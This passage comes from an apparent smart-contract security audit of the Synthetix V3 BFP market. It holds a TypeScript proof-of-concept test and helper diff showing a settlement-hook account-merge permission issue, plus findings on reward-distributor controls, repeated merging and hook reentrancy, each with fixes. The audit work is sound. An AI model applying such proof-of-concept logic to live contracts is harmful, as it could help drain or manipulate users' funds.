</span></span><span class="line"><span class="cl"> <span class="p">()</span> <span class="p">=></span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">signer</span><span class="p">)[</span><span class="s1">'createAccount(uint128)'</span><span class="p">](</span><span class="nx">toTraderAccountId</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">provider</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Set the fromAccount to be the "vaultAccountId" that will have the new account merged into it.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">withExplicitEvmMine</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="p">()</span> <span class="p">=></span> <span class="nx">MergeAccountSettlementHookMock</span><span class="p">.</span><span class="nx">mockSetVaultAccountId</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">provider</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> <span class="nx">fromTrader</span><span class="p">,</span> <span class="nx">toTrader</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">it</span><span class="p">(</span><span class="s1">'accounts can control when order settles by granting permission poc'</span><span class="p">,</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">BfpMarketProxy</span><span class="p">,</span> <span class="nx">MergeAccountSettlementHookMock</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">systems</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">fromTrader</span><span class="p">,</span> <span class="nx">toTrader</span> <span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">createAccountsToMerge</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// Use nonUSD collateral to make sure we still have some debt. And use a generator to make sure we have two different collaterals for the fromAccount.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">collateralGenerator</span> <span class="o">=</span> <span class="nx">toRoundRobinGenerators</span><span class="p">(</span><span class="nx">shuffle</span><span class="p">(</span><span class="nx">collateralsWithoutSusd</span><span class="p">()));</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">market</span> <span class="o">=</span> <span class="nx">genOneOf</span><span class="p">(</span><span class="nx">markets</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">side</span> <span class="o">=</span> <span class="nx">genSide</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Withdraw any existing collateral.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">withdrawAllCollateral</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">fromTrader</span><span class="p">,</span> <span class="nx">market</span><span class="p">.</span><span class="nx">marketId</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// populate to account with margin
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">collateral</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">collateralDepositAmount</span><span class="o">:</span> <span class="nx">collateralDepositAmountTo</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">marketId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bs</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredTrader</span><span class="o">:</span> <span class="nx">toTrader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// Use any collateral except sUSD for toAccount.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">desiredCollateral</span><span class="o">:</span> <span class="nx">genOneOf</span><span class="p">(</span><span class="nx">collateralsWithoutSusd</span><span class="p">()),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredMarket</span><span class="o">:</span> <span class="nx">market</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// generate to account position
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">order</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">collateralDepositAmountTo</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSide</span><span class="o">:</span> <span class="nx">side</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">commitAndSettle</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">toTrader</span><span class="p">,</span> <span class="nx">order</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Create some debt for the toAccount, so we later can assert it's realized on account merge.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">market</span><span class="p">.</span><span class="nx">aggregator</span><span class="p">().</span><span class="nx">mockSetCurrentPrice</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">wei</span><span class="p">(</span><span class="nx">order</span><span class="p">.</span><span class="nx">oraclePrice</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="nx">order</span><span class="p">.</span><span class="nx">sizeDelta</span><span class="p">.</span><span class="nx">gt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">?</span> <span class="mf">0.9</span> <span class="o">:</span> <span class="mf">1.1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">toBN</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">toOrder</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">collateralDepositAmountTo</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSize</span><span class="o">:</span> <span class="nx">wei</span><span class="p">(</span><span class="nx">order</span><span class="p">.</span><span class="nx">sizeDelta</span><span class="p">).</span><span class="nx">mul</span><span class="p">(</span><span class="mf">0.9</span><span class="p">).</span><span class="nx">toBN</span><span class="p">(),</span> <span class="c1">// decrease position slightly
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">commitAndSettle</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">toTrader</span><span class="p">,</span> <span class="nx">toOrder</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Reset the price causing the toAccount's position to have some pnl.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">market</span><span class="p">.</span><span class="nx">aggregator</span><span class="p">().</span><span class="nx">mockSetCurrentPrice</span><span class="p">(</span><span class="nx">order</span><span class="p">.</span><span class="nx">oraclePrice</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Start populate from account with margin
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="p">{</span> <span class="nx">collateralDepositAmount</span><span class="o">:</span> <span class="nx">collateralDepositAmountFrom</span> <span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bs</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredTrader</span><span class="o">:</span> <span class="nx">fromTrader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredMarket</span><span class="o">:</span> <span class="nx">market</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredCollateral</span><span class="o">:</span> <span class="nx">collateralGenerator</span><span class="p">.</span><span class="nx">next</span><span class="p">().</span><span class="nx">value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Make sure we have two different collaterals.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bs</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredTrader</span><span class="o">:</span> <span class="nx">fromTrader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredMarket</span><span class="o">:</span> <span class="nx">market</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredCollateral</span><span class="o">:</span> <span class="nx">collateralGenerator</span><span class="p">.</span><span class="nx">next</span><span class="p">().</span><span class="nx">value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Create an order with the MergeAccountSettlementHookMock as a hook.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">fromOrder</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">collateralDepositAmountFrom</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredLeverage</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredHooks</span><span class="o">:</span> <span class="p">[</span><span class="nx">MergeAccountSettlementHookMock</span><span class="p">.</span><span class="nx">address</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSide</span><span class="o">:</span> <span class="nx">side</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// commit order to from account
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">commitOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">fromTrader</span><span class="p">,</span> <span class="nx">fromOrder</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// try settle order without permission
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">settleOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">fromTrader</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'order settle failed'</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// account grants hook permission
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">withExplicitEvmMine</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="p">()</span> <span class="p">=></span>
</span></span><span class="line"><span class="cl"> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">grantPermission</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">toTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">ethers</span><span class="p">.</span><span class="nx">utils</span><span class="p">.</span><span class="nx">formatBytes32String</span><span class="p">(</span><span class="s1">'PERPS_MODIFY_COLLATERAL'</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">MergeAccountSettlementHookMock</span><span class="p">.</span><span class="nx">address</span>
</span></span><span class="line"><span class="cl"> <span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">provider</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">withExplicitEvmMine</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="p">()</span> <span class="p">=></span>
</span></span><span class="line"><span class="cl"> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">grantPermission</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">fromTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">ethers</span><span class="p">.</span><span class="nx">utils</span><span class="p">.</span><span class="nx">formatBytes32String</span><span class="p">(</span><span class="s1">'PERPS_MODIFY_COLLATERAL'</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">MergeAccountSettlementHookMock</span><span class="p">.</span><span class="nx">address</span>
</span></span><span class="line"><span class="cl"> <span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">provider</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// order still pending
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">orderDigest</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getOrderDigest</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">notEqual</span><span class="p">(</span><span class="nx">orderDigest</span><span class="p">.</span><span class="nx">sizeDelta</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// to and from account details before settle
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">toAccountDigestBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getAccountDigest</span><span class="p">(</span><span class="nx">toTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">fromAccountDigestBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getAccountDigest</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// try settle order after approve
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">settleOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">fromTrader</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//console.log(await BfpMarketProxy.getOrderDigest(fromTrader.accountId, marketId))
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'order settle failed'</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// to and from account details after settle
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">toAccountDigestAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getAccountDigest</span><span class="p">(</span><span class="nx">toTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">fromAccountDigestAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getAccountDigest</span><span class="p">(</span><span class="nx">fromTrader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// confirm from account is empty after settle and merge
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">isZero</span><span class="p">(</span><span class="nx">fromAccountDigestAfter</span><span class="p">.</span><span class="nx">collateralUsd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">isZero</span><span class="p">(</span><span class="nx">fromAccountDigestAfter</span><span class="p">.</span><span class="nx">position</span><span class="p">.</span><span class="nx">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// confirm correct position size after merge
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">equal</span><span class="p">(</span><span class="nx">toAccountDigestAfter</span><span class="p">.</span><span class="nx">position</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">toAccountDigestBefore</span><span class="p">.</span><span class="nx">position</span><span class="p">.</span><span class="nx">size</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">orderDigest</span><span class="p">.</span><span class="nx">sizeDelta</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span></code></pre><p>To run the proof of concept, the following changes need to be added to the <code>helpers.ts</code> file:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/markets/bfp-market/test/helpers.ts b/markets/bfp-market/test/helpers.ts
</span></span></span><span class="line"><span class="cl"><span class="gh">index be88da72..4cc9a045 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/markets/bfp-market/test/helpers.ts
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/markets/bfp-market/test/helpers.ts
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -263,6 +263,46 @@ export const commitOrder = async (
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> );
</span></span><span class="line"><span class="cl"> };
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+/** Settles the pending order for`trader` on `marketId` successfully */
</span></span></span><span class="line"><span class="cl"><span class="gi">+export const settleOrder = async (
</span></span></span><span class="line"><span class="cl"><span class="gi">+ bs: Bs,
</span></span></span><span class="line"><span class="cl"><span class="gi">+ marketId: BigNumber,
</span></span></span><span class="line"><span class="cl"><span class="gi">+ trader: Trader,
</span></span></span><span class="line"><span class="cl"><span class="gi">+ options?: {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ desiredKeeper?: ethers.Signer;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ // Why a function and not another desiredXXX primitive?
</span></span></span><span class="line"><span class="cl"><span class="gi">+ //
</span></span></span><span class="line"><span class="cl"><span class="gi">+ // Pyth data blob generation requires a publishTime. If we generate and pass a primitive _before_ invoking
</span></span></span><span class="line"><span class="cl"><span class="gi">+ // this function then the price would be too old and settlement would fail.
</span></span></span><span class="line"><span class="cl"><span class="gi">+ getPythData?: (publishTime: number) => ReturnType<typeof getPythPriceData>;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+) => {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const { systems, provider, keeper } = bs;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const { BfpMarketProxy } = systems();
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const { settlementTime, publishTime } = await getFastForwardTimestamp(bs, marketId, trader);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ await fastForwardTo(settlementTime, provider());
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const { updateData, updateFee } = options?.getPythData
</span></span></span><span class="line"><span class="cl"><span class="gi">+ ? await options.getPythData(publishTime)
</span></span></span><span class="line"><span class="cl"><span class="gi">+ : await getPythPriceDataByMarketId(bs, marketId, publishTime);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const settlementKeeper = options?.desiredKeeper ?? keeper();
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const { tx, receipt } = await withExplicitEvmMine(
</span></span></span><span class="line"><span class="cl"><span class="gi">+ () =>
</span></span></span><span class="line"><span class="cl"><span class="gi">+ BfpMarketProxy.connect(settlementKeeper).settleOrder(trader.accountId, marketId, updateData, {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ value: updateFee,
</span></span></span><span class="line"><span class="cl"><span class="gi">+ maxFeePerGas: BigNumber.from(500 * 1e9), // Specify a large maxFeePerGas so callers can set a high basefee without any problems.
</span></span></span><span class="line"><span class="cl"><span class="gi">+ gasLimit: BigNumber.from(10_000_000), // Sometimes gas estimation is not high enough.
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }),
</span></span></span><span class="line"><span class="cl"><span class="gi">+ provider()
</span></span></span><span class="line"><span class="cl"><span class="gi">+ );
</span></span></span><span class="line"><span class="cl"><span class="gi">+ const lastBaseFeePerGas = (await provider().getFeeData()).lastBaseFeePerGas as BigNumber;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return { tx, receipt, settlementTime, publishTime, lastBaseFeePerGas };
</span></span></span><span class="line"><span class="cl"><span class="gi">+};
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> /** Commits a generated `order` for `trader` on `marketId` and settles successfully. */
</span></span><span class="line"><span class="cl"> export const commitAndSettle = async (
</span></span><span class="line"><span class="cl"> bs: Bs,
</span></span></code></pre><h3 id="recommendation-3">Recommendation</h3>
<p>To resolve this issue, the permissions to modify the collateral for the accounts should not be checked when merging. It is possible to omit these checks because only a whitelisted hook can call the <code>PerpAccountModule.mergeAccounts()</code> function and the hook is chosen by the account owner when committing the order. It also means accounts do not have to grant the settlement hook contract permission to modify their account's collateral.</p>
<h3 id="client-response-3">Client response</h3>
<p>The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/5d7171778a3250cd97c439f8d8bf7dcce3444414">5d71717</a>.</p>
<p><a name="IO-SNX-BFP-005"></a></p>
<h2 class="break-before" id="io-snx-bfp-005-reward-distributor-does-not-use-the-most-recent-version"><strong>IO-SNX-BFP-005</strong> Reward Distributor does not use the most recent version</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e/markets/bfp-market/contracts/modules/PerpRewardDistributorModule/PerpRewardDistributor.sol#L17">PerpRewardDistributor.sol#L17</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>The BFP rewards distributor did not include the amount tracking and decimal scaling controls implemented in the Synthetix V3 implementation.</p>
<p>The amount tracking control was implemented to prevent the caller of <code>PerpRewardDistributor.distributeRewards()</code> from providing a disproportionate amount that could lead to the rewards in the contract being drained. However, since this function is only callable by the perp market the issue would only be exploitable in case of an arithmetic error from the market itself.</p>
<p>Synthetix V3 core contracts perform all calculations with D18 precision, if a BFP distributor were to distribute a token that uses a different amount of tokens there could be issues with precision loss.</p>
<h3 id="recommendation-4">Recommendation</h3>
<p>The implementation of the BFP rewards distributor should be updated to include the controls implemented in <a href="https://github.com/Synthetixio/rewards-distributors/blob/master/src/RewardsDistributor.sol">RewardsDistributor.sol</a>.</p>
<h3 id="client-response-4">Client response</h3>
<p>The rewards distributor implementation was updated to align with the most recent version in <a href="https://github.com/Synthetixio/synthetix-v3/commit/fda46ead9108d84b4b5e69de9aa5f6c7c7fea1f1">fda46ea</a>.</p>
<p><a name="IO-SNX-BFP-006"></a></p>
<h2 class="break-before" id="io-snx-bfp-006-merged-accounts-can-atomically-merge-again"><strong>IO-SNX-BFP-006</strong> Merged accounts can atomically merge again</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/6bdf61f9dc9b98e08ef42894d10794f1bc1c9c33/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L236">PerpAccountModule.sol#L236</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>The primary condition for merging an account is that the <code>from</code> account needs to have settled an order in the same block. This is done by checking that the <code>from</code> account’s <code>entryTime</code> is the same as <code>block.timestamp</code>. However, when the <code>to</code> account is created, its <code>entryTime</code> is set to <code>block.timestamp</code>, meaning that it might be possible to merge the resulting account with a different account.</p>
<h3 id="recommendation-5">Recommendation</h3>
<p>The <code>to</code> account could have its <code>entryTime</code> offset by one second from <code>block.timestamp</code>. Alternatively, a <code>lastMerged</code> timestamp could be introduced that gets set on the <code>to</code> account, which gets checked against <code>block.timestamp</code> to ensure it is not in the same block.</p>
<h3 id="client-response-5">Client response</h3>
<p>This issue was addressed by only allowing settlement hooks to merge accounts in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2095/commits/742716891dcda8f5c386b7c133607d5f59f5a497">7427168</a>.</p>
<p><a name="IO-SNX-BFP-007"></a></p>
<h2 class="break-before" id="io-snx-bfp-007-reentrancy-originating-from-settlement-hooks"><strong>IO-SNX-BFP-007</strong> Reentrancy originating from settlement hooks</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-informational">Informational</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/OrderModule.sol#L387">OrderModule.sol#L387</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>It is understood that settlement hooks will be controlled by Synthetix, and strict whitelisting is required to create valid hooks. However, a reentrancy condition exists whereby settlement hooks could potentially reenter <code>OrderModule.settleOrder()</code> with the original order, executing the order again, causing potential grievance to the trader and generating more fees for whoever reenters into the order settlement.</p>
<h3 id="recommendation-6">Recommendation</h3>
<p>To avoid this behavior, it is recommended that the order be deleted (<code>delete market.orders[accountId];</code>) before the call to <code>settleOrder.executeOrderHooks()</code>, rather than after.</p>
